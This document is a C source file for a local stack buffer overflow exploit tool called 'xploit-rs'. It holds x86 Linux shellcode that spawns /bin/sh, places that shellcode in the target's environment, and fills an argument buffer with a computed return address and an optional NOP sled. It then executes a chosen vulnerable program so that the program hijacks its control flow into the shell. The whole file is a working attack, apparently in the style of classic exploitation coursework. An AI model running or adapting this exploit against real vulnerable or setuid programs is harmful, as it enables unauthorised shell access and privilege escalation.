#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void usage()
{
	printf("USAGE: \t xploit-rs [-nNUM] [-rRET] [-h] PROC PROC-ARGS\n");
	printf("xploit-rs: \t  exploit overflow in PROC using RS mode\n");
	printf("OPTIONS: \n");
	printf("\t -nNUM \t NUM, number of ret-addr in the BUFFER, default is 260\n");
	printf("\t -rRET \t RET, value to override the ret-addr\n");
	printf("\t       \t      default is 0xc0000000-strlen(shllcode)-1-strlen(proc)-1-sizeof(void *)\n");
	printf("\t -p    \t      number of nop in the begining of the BUFFER\n");
	printf("\t -h    \t      show this help info\n");
	printf("PROC: \n\t program (full path) which may contain stack buffer overflow\n");
	printf("PROC-ARGS: \n\t program args\n");
	printf("DESCRIPTION:\n");
	printf("\t \"PROC PROC-ARGS  buf\" is called with enviroment \"HOME=/root\"+shllcode\n");
}

char shellcode[] =
"\x31\xc0"              /* xor %eax, %eax       */
"\x50"                  /* push %eax            */
"\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
"\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
"\x89\xe3"              /* mov  %esp,%ebx       */
"\x50"                  /* push %eax            */
"\x53"                  /* push %ebx            */
"\x89\xe1"              /* mov  %esp,%ecx       */
"\x31\xd2"              /* xor  %edx,%edx       */
"\xb0\x0b"              /* mov  $0xb,%al        */
"\xcd\x80";             /* int  $0x80           */

#define NUM 260
#define STACK_BUTTOM 0xbffff000	//0xc0000000
int main(int argc,char **argv)
{
	int num=NUM;
	int nop=0;
	unsigned long ret=0;
	
	char* buf;
	char** proc;

	int i=0;

	int opt;
	while( (opt=getopt(argc, argv, "n:r:p:h")) != -1)
	{
		switch(opt)
		{
		case 'n':
			num=atoi(optarg);
			break;
		case 'r':
			ret=atoi(optarg);
			break;
		case 'p':
			nop=atoi(optarg);
			break;
		case 'h':
			usage();
			return 0;
		default:
			printf("optarg=\"%s\", optind=%d, optopt='%c'\n",optarg, optind, optopt);
			usage();
		}
	}
/* get the proc to be called, with the arguments plus BUFFER we created */
	if(optind<argc)
	{
		proc=(char**)malloc(sizeof(char*)*(argc-optind+2));
		for(i=0;i<argc-optind;i++)
			proc[i]=argv[optind+i];
		//proc[argc-optind]=buf;
		proc[argc-optind+1]=NULL;
	}
	else
	{
		usage();
		perror("optind>argc");
		exit(1);
	}

/* calculate the ret-addr using the knowledge of RS mode attck */
	if(ret==0) 
		ret=STACK_BUTTOM-strlen(shellcode)-1-strlen(proc[0])-1-sizeof(void*);
	// else, ret is from command line


/* create our BUFFER, full of ret-addr we calculated */
	buf=(char *)malloc(sizeof(int)*num + nop);
	for(i=0;i<nop;i++)
		buf[i]=0x90;
	for(i=0;i<num;i++)
		*(long *)&buf[nop+i*4]=ret;
	proc[argc-optind]=buf;

/* show the program to be called */		
	printf("Now I'm calling.......\n");
	i=0;
	while((long)proc[i]!=(long)buf && proc[i]!=NULL)
		printf("%s ",proc[i++]);	
	if(proc[i]==buf)
		printf("buf(nop(0x90)*%d + 0x%08x * %d)\n\n",nop,*(long*)(buf+nop),num);
	else
		printf("\n\n");

/* generate the enviroment with our SHELLCODE */
	char* env[]={"HOME=/root",shellcode,NULL};

/* begin to exec the proc to trigger the buffer overflow */
	execve(proc[0],proc,env);
	return 0;

}
